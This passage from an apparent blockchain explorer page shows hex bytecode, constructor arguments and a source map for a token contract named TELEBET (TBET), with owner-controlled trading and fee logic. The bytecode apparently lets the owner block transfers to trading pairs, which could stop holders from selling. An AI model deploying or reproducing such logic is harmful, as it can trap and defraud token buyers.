fffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb190612068565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1f906121c6565b60405180910390fd5b80600c60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610f74611134565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611002576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff990612068565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611070576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106790612254565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b5481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a0906122e2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611217576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120e90612370565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112f19190611e33565b60405180910390a3505050565b5f6113098484610d7c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146113835781811015611375576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136c906123d8565b60405180910390fd5b611382848484840361113b565b5b50505050565b60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611424575060065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061143b5750601060019054906101000a900460ff165b156114505761144b8383836114c7565b6114c2565b60085f9054906101000a900460ff1661149e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149590612440565b60405180910390fd5b6114a9838383611733565b816114b4919061245e565b90506114c18383836114c7565b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152c90612501565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a9061258f565b60405180910390fd5b6115ae83838361190c565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611631576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116289061261d565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161171a9190611e33565b60405180910390a361172d848484611911565b50505050565b5f6011546117403061094e565b1015801561175b5750601060019054906101000a900460ff16155b80156117ae575060095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156117f1576001601060016101000a81548160ff0219169083151502179055506117d6611916565b5f601060016101000a81548160ff0219169083151502179055505b5f60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156118805760011515600c5f9054906101000a900460ff1615151461185f575f80fd5b6064600e548461186f919061263b565b61187991906126a9565b90506118ed565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156118ec576064600d54846118df919061263b565b6118e991906126a9565b90505b5b5f811115611901576119008530836114c7565b5b809150509392505050565b505050565b505050565b5f6119203061094e565b90505f810361192f57506119f8565b602860115461193e919061263b565b811115611957576028601154611954919061263b565b90505b611960816119fa565b5f4711156119f6575f600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516119af90612706565b5f6040518083038185875af1925050503d805f81146119e9576040519150601f19603f3d011682016040523d82523d5f602084013e6119ee565b606091505b505080915050505b505b565b5f600267ffffffffffffffff811115611a1657611a1561271a565b5b604051908082528060200260200182016040528015611a445781602001602082028036833780820191505090505b50905030815f81518110611a5b57611a5a612747565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611aff573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b239190612788565b81600181518110611b3757611b36612747565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611bd39594939291906128a3565b5f604051808303815f87803b158015611bea575f80fd5b505af1158015611bfc573d5f803e3d5ffd5b505050505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611c3b578082015181840152602081019050611c20565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611c6082611c04565b611c6a8185611c0e565b9350611c7a818560208601611c1e565b611c8381611c46565b840191505092915050565b5f6020820190508181035f830152611ca68184611c56565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f819050919050565b5f611cf0611ceb611ce684611cae565b611ccd565b611cae565b9050919050565b5f611d0182611cd6565b9050919050565b5f611d1282611cf7565b9050919050565b611d2281611d08565b82525050565b5f602082019050611d3b5f830184611d19565b92915050565b5f80fd5b5f611d4f82611cae565b9050919050565b611d5f81611d45565b8114611d69575f80fd5b50565b5f81359050611d7a81611d56565b92915050565b5f819050919050565b611d9281611d80565b8114611d9c575f80fd5b50565b5f81359050611dad81611d89565b92915050565b5f8060408385031215611dc957611dc8611d41565b5b5f611dd685828601611d6c565b9250506020611de785828601611d9f565b9150509250929050565b5f8115159050919050565b611e0581611df1565b82525050565b5f602082019050611e1e5f830184611dfc565b92915050565b611e2d81611d80565b82525050565b5f602082019050611e465f830184611e24565b92915050565b5f805f60608486031215611e6357611e62611d41565b5b5f611e7086828701611d6c565b9350506020611e8186828701611d6c565b9250506040611e9286828701611d9f565b9150509250925092565b5f60208284031215611eb157611eb0611d41565b5b5f611ebe84828501611d6c565b91505092915050565b5f60ff82169050919050565b611edc81611ec7565b82525050565b5f602082019050611ef55f830184611ed3565b92915050565b611f0481611d45565b82525050565b5f602082019050611f1d5f830184611efb565b92915050565b5f8060408385031215611f3957611f38611d41565b5b5f611f4685828601611d6c565b9250506020611f5785828601611d6c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611fa557607f821691505b602082108103611fb857611fb7611f61565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611ff582611d80565b915061200083611d80565b925082820190508082111561201857612017611fbe565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612052602083611c0e565b915061205d8261201e565b602082019050919050565b5f6020820190508181035f83015261207f81612046565b9050919050565b7f54726164696e67206163746976650000000000000000000000000000000000005f82015250565b5f6120ba600e83611c0e565b91506120c582612086565b602082019050919050565b5f6020820190508181035f8301526120e7816120ae565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612148602583611c0e565b9150612153826120ee565b604082019050919050565b5f6020820190508181035f8301526121758161213c565b9050919050565b7f7a65726f206164647265737300000000000000000000000000000000000000005f82015250565b5f6121b0600c83611c0e565b91506121bb8261217c565b602082019050919050565b5f6020820190508181035f8301526121dd816121a4565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61223e602683611c0e565b9150612249826121e4565b604082019050919050565b5f6020820190508181035f83015261226b81612232565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6122cc602483611c0e565b91506122d782612272565b604082019050919050565b5f6020820190508181035f8301526122f9816122c0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61235a602283611c0e565b915061236582612300565b604082019050919050565b5f6020820190508181035f8301526123878161234e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6123c2601d83611c0e565b91506123cd8261238e565b602082019050919050565b5f6020820190508181035f8301526123ef816123b6565b9050919050565b7f54726164696e67206e6f742061637469766500000000000000000000000000005f82015250565b5f61242a601283611c0e565b9150612435826123f6565b602082019050919050565b5f6020820190508181035f8301526124578161241e565b9050919050565b5f61246882611d80565b915061247383611d80565b925082820390508181111561248b5761248a611fbe565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6124eb602583611c0e565b91506124f682612491565b604082019050919050565b5f6020820190508181035f830152612518816124df565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612579602383611c0e565b91506125848261251f565b604082019050919050565b5f6020820190508181035f8301526125a68161256d565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f612607602683611c0e565b9150612612826125ad565b604082019050919050565b5f6020820190508181035f830152612634816125fb565b9050919050565b5f61264582611d80565b915061265083611d80565b925082820261265e81611d80565b9150828204841483151761267557612674611fbe565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6126b382611d80565b91506126be83611d80565b9250826126ce576126cd61267c565b5b828204905092915050565b5f81905092915050565b50565b5f6126f15f836126d9565b91506126fc826126e3565b5f82019050919050565b5f612710826126e6565b9150819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061278281611d56565b92915050565b5f6020828403121561279d5761279c611d41565b5b5f6127aa84828501612774565b91505092915050565b5f819050919050565b5f6127d66127d16127cc846127b3565b611ccd565b611d80565b9050919050565b6127e6816127bc565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61281e81611d45565b82525050565b5f61282f8383612815565b60208301905092915050565b5f602082019050919050565b5f612851826127ec565b61285b81856127f6565b935061286683612806565b805f5b8381101561289657815161287d8882612824565b97506128888361283b565b925050600181019050612869565b5085935050505092915050565b5f60a0820190506128b65f830188611e24565b6128c360208301876127dd565b81810360408301526128d58186612847565b90506128e46060830185611efb565b6128f16080830184611e24565b969550505050505056fea264697066735822122006bd388395e57e81c0b2208a4105af830ae775dfb1bef8793009bb0f320efd3764736f6c63430008150033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000754454c454245540000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045442455400000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): TELEBET
Arg [1] : _symbol (string): TBET

-----Encoded View---------------
6 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [3] : 54454c4542455400000000000000000000000000000000000000000000000000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [5] : 5442455400000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

16843:4878:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4482:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17541:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6842:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5611:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7623:261;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17033:42;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5453:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21468:67;;;;;;;;;;;;;:::i;:::-;;8293:238;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17513:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17404:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17226:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16887:47;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5782:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16013:150;;;;;;;;;;;;;:::i;:::-;;21327:135;;;;;;;;;;;;;:::i;:::-;;16941:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15799:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4701:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17577:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9034:436;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6115:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16999:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17084:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17474:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17254:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6371:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17185:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21543:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16171:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17120:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4482:100;4536:13;4569:5;4562:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4482:100;:::o;17541:27::-;;;;;;;;;;;;;:::o;6842:201::-;6925:4;6942:13;6958:12;:10;:12::i;:::-;6942:28;;6981:32;6990:5;6997:7;7006:6;6981:8;:32::i;:::-;7031:4;7024:11;;;6842:201;;;;:::o;5611:108::-;5672:7;5699:12;;5692:19;;5611:108;:::o;7623:261::-;7720:4;7737:15;7755:12;:10;:12::i;:::-;7737:30;;7778:38;7794:4;7800:7;7809:6;7778:15;:38::i;:::-;7827:27;7837:4;7843:2;7847:6;7827:9;:27::i;:::-;7872:4;7865:11;;;7623:261;;;;;:::o;17033:42::-;;;;;;;;;;;;;;;;;;;;;;:::o;5453:93::-;5511:5;5536:2;5529:9;;5453:93;:::o;21468:67::-;21522:5;21514;;:13;;;;;;;;;;;;;;;;;;21468:67::o;8293:238::-;8381:4;8398:13;8414:12;:10;:12::i;:::-;8398:28;;8437:64;8446:5;8453:7;8490:10;8462:25;8472:5;8479:7;8462:9;:25::i;:::-;:38;;;;:::i;:::-;8437:8;:64::i;:::-;8519:4;8512:11;;;8293:238;;;;:::o;17513:21::-;;;;;;;;;;;;;:::o;17404:33::-;;;;;;;;;;;;;:::o;17226:21::-;;;;:::o;16887:47::-;;;;;;;;;;;;;;;;;;;;;;:::o;5782:127::-;5856:7;5883:9;:18;5893:7;5883:18;;;;;;;;;;;;;;;;5876:25;;5782:127;;;:::o;16013:150::-;15936:12;:10;:12::i;:::-;15926:22;;:6;;;;;;;;;;;:22;;;15918:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16122:1:::1;16085:40;;16106:6;;;;;;;;;;;16085:40;;;;;;;;;;;;16153:1;16136:6;;:19;;;;;;;;;;;;;;;;;;16013:150::o:0;21327:135::-;15936:12;:10;:12::i;:::-;15926:22;;:6;;;;;;;;;;;:22;;;15918:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;21391:13:::1;;;;;;;;;;;21390:14;21382:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;21450:4;21434:13;;:20;;;;;;;;;;;;;;;;;;21327:135::o:0;16941:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;15799:79::-;15837:7;15864:6;;;;;;;;;;;15857:13;;15799:79;:::o;4701:104::-;4757:13;4790:7;4783:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4701:104;:::o;17577:41::-;17615:3;17577:41;:::o;9034:436::-;9127:4;9144:13;9160:12;:10;:12::i;:::-;9144:28;;9183:24;9210:25;9220:5;9227:7;9210:9;:25::i;:::-;9183:52;;9274:15;9254:16;:35;;9246:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;9367:60;9376:5;9383:7;9411:15;9392:16;:34;9367:8;:60::i;:::-;9458:4;9451:11;;;;9034:436;;;;:::o;6115:193::-;6194:4;6211:13;6227:12;:10;:12::i;:::-;6211:28;;6250;6260:5;6267:2;6271:6;6250:9;:28::i;:::-;6296:4;6289:11;;;6115:193;;;;:::o;16999:25::-;;;;;;;;;;;;;:::o;17084:29::-;;;;:::o;17474:30::-;;;;:::o;17254:22::-;;;;:::o;6371:151::-;6460:7;6487:11;:18;6499:5;6487:18;;;;;;;;;;;;;;;:27;6506:7;6487:27;;;;;;;;;;;;;;;;6480:34;;6371:151;;;;:::o;17185:32::-;;;;;;;;;;;;;:::o;21543:175::-;15936:12;:10;:12::i;:::-;15926:22;;:6;;;;;;;;;;;:22;;;15918:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;21652:1:::1;21632:22;;:8;:22;;::::0;21624:47:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;21702:8;21682:17;;:28;;;;;;;;;;;;;;;;;;21543:175:::0;:::o;16171:244::-;15936:12;:10;:12::i;:::-;15926:22;;:6;;;;;;;;;;;:22;;;15918:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16280:1:::1;16260:22;;:8;:22;;::::0;16252:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;16370:8;16341:38;;16362:6;;;;;;;;;;;16341:38;;;;;;;;;;;;16399:8;16390:6;;:17;;;;;;;;;;;;;;;;;;16171:244:::0;:::o;17120:24::-;;;;:::o;388:98::-;441:7;468:10;461:17;;388:98;:::o;13027:346::-;13146:1;13129:19;;:5;:19;;;13121:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13227:1;13208:21;;:7;:21;;;13200:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13311:6;13281:11;:18;13293:5;13281:18;;;;;;;;;;;;;;;:27;13300:7;13281:27;;;;;;;;;;;;;;;:36;;;;13349:7;13333:32;;13342:5;13333:32;;;13358:6;13333:32;;;;;;:::i;:::-;;;;;;;;13027:346;;;:::o;13664:419::-;13765:24;13792:25;13802:5;13809:7;13792:9;:25::i;:::-;13765:52;;13852:17;13832:16;:37;13828:248;;13914:6;13894:16;:26;;13886:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13998:51;14007:5;14014:7;14042:6;14023:16;:25;13998:8;:51::i;:::-;13828:248;13754:329;13664:419;;;:::o;19256:434::-;19401:14;:20;19416:4;19401:20;;;;;;;;;;;;;;;;;;;;;;;;;:42;;;;19425:14;:18;19440:2;19425:18;;;;;;;;;;;;;;;;;;;;;;;;;19401:42;:54;;;;19447:8;;;;;;;;;;;19401:54;19398:137;;;19471:31;19487:4;19492:2;19495:6;19471:15;:31::i;:::-;19517:7;;19398:137;19555:13;;;;;;;;;;;19547:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;19614:24;19621:4;19627:2;19631:6;19614;:24::i;:::-;19604:34;;;;;:::i;:::-;;;19651:31;19667:4;19672:2;19675:6;19651:15;:31::i;:::-;19256:434;;;;:::o;9940:806::-;10053:1;10037:18;;:4;:18;;;10029:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10130:1;10116:16;;:2;:16;;;10108:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;10185:38;10206:4;10212:2;10216:6;10185:20;:38::i;:::-;10236:19;10258:9;:15;10268:4;10258:15;;;;;;;;;;;;;;;;10236:37;;10307:6;10292:11;:21;;10284:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;10424:6;10410:11;:20;10392:9;:15;10402:4;10392:15;;;;;;;;;;;;;;;:38;;;;10627:6;10610:9;:13;10620:2;10610:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;10677:2;10662:26;;10671:4;10662:26;;;10681:6;10662:26;;;;;;:::i;:::-;;;;;;;;10701:37;10721:4;10727:2;10731:6;10701:19;:37::i;:::-;10018:728;9940:806;;;:::o;19698:718::-;19774:7;19824:15;;19796:24;19814:4;19796:9;:24::i;:::-;:43;;:56;;;;;19844:8;;;;;;;;;;;19843:9;19796:56;:76;;;;;19857:9;:15;19867:4;19857:15;;;;;;;;;;;;;;;;;;;;;;;;;19856:16;19796:76;19793:179;;;19900:4;19889:8;;:15;;;;;;;;;;;;;;;;;;19919:10;:8;:10::i;:::-;19955:5;19944:8;;:16;;;;;;;;;;;;;;;;;;19793:179;19992:11;20044:9;:13;20054:2;20044:13;;;;;;;;;;;;;;;;;;;;;;;;;20040:235;;;20091:4;20082:13;;:5;;;;;;;;;;;:13;;;20073:23;;;;;;17615:3;20126:7;;20117:6;:16;;;;:::i;:::-;:30;;;;:::i;:::-;20111:36;;20040:235;;;20196:9;:15;20206:4;20196:15;;;;;;;;;;;;;;;;;;;;;;;;;20193:82;;;17615:3;20243:6;;20234;:15;;;;:::i;:::-;:29;;;;:::i;:::-;20228:35;;20193:82;20040:235;20304:1;20298:3;:7;20295:83;;;20325:41;20341:4;20355;20362:3;20325:15;:41::i;:::-;20295:83;20405:3;20398:10;;;19698:718;;;;;:::o;14683:91::-;;;;:::o;15378:90::-;;;;:::o;20816:503::-;20857:23;20883:24;20901:4;20883:9;:24::i;:::-;20857:50;;20950:1;20931:15;:20;20928:34;;20954:7;;;20928:34;21013:2;20995:15;;:20;;;;:::i;:::-;20977:15;:38;20974:107;;;21067:2;21049:15;;:20;;;;:::i;:::-;21031:38;;20974:107;21101:33;21118:15;21101:16;:33::i;:::-;21186:1;21162:21;:25;21159:153;;;21203:12;21244:17;;;;;;;;;;;:22;;21274:21;21244:56;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21230:70;;;;;21188:124;21159:153;20844:475;20816:503;:::o;20424:384::-;20489:21;20527:1;20513:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20489:40;;20558:4;20540;20545:1;20540:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;20584:9;;;;;;;;;;;:14;;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20574:4;20579:1;20574:7;;;;;;;;:::i;:::-;;;;;;;:26;;;;;;;;;;;20613:9;;;;;;;;;;;:60;;;20688:8;20711:1;20727:4;20754;20774:15;20613:187;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20476:332;20424:384;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:126::-;1386:7;1426:42;1419:5;1415:54;1404:65;;1349:126;;;:::o;1481:60::-;1509:3;1530:5;1523:12;;1481:60;;;:::o;1547:142::-;1597:9;1630:53;1648:34;1657:24;1675:5;1657:24;:::i;:::-;1648:34;:::i;:::-;1630:53;:::i;:::-;1617:66;;1547:142;;;:::o;1695:126::-;1745:9;1778:37;1809:5;1778:37;:::i;:::-;1765:50;;1695:126;;;:::o;1827:144::-;1895:9;1928:37;1959:5;1928:37;:::i;:::-;1915:50;;1827:144;;;:::o;1977:167::-;2082:55;2131:5;2082:55;:::i;:::-;2077:3;2070:68;1977:167;;:::o;2150:258::-;2261:4;2299:2;2288:9;2284:18;2276:26;;2312:89;2398:1;2387:9;2383:17;2374:6;2312:89;:::i;:::-;2150:258;;;;:::o;2495:117::-;2604:1;2601;2594:12;2741:96;2778:7;2807:24;2825:5;2807:24;:::i;:::-;2796:35;;2741:96;;;:::o;2843:122::-;2916:24;2934:5;2916:24;:::i;:::-;2909:5;2906:35;2896:63;;2955:1;2952;2945:12;2896:63;2843:122;:::o;2971:139::-;3017:5;3055:6;3042:20;3033:29;;3071:33;3098:5;3071:33;:::i;:::-;2971:139;;;;:::o;3116:77::-;3153:7;3182:5;3171:16;;3116:77;;;:::o;3199:122::-;3272:24;3290:5;3272:24;:::i;:::-;3265:5;3262:35;3252:63;;3311:1;3308;3301:12;3252:63;3199:122;:::o;3327:139::-;3373:5;3411:6;3398:20;3389:29;;3427:33;3454:5;3427:33;:::i;:::-;3327:139;;;;:::o;3472:474::-;3540:6;3548;3597:2;3585:9;3576:7;3572:23;3568:32;3565:119;;;3603:79;;:::i;:::-;3565:119;3723:1;3748:53;3793:7;3784:6;3773:9;3769:22;3748:53;:::i;:::-;3738:63;;3694:117;3850:2;3876:53;3921:7;3912:6;3901:9;3897:22;3876:53;:::i;:::-;3866:63;;3821:118;3472:474;;;;;:::o;3952:90::-;3986:7;4029:5;4022:13;4015:21;4004:32;;3952:90;;;:::o;4048:109::-;4129:21;4144:5;4129:21;:::i;:::-;4124:3;4117:34;4048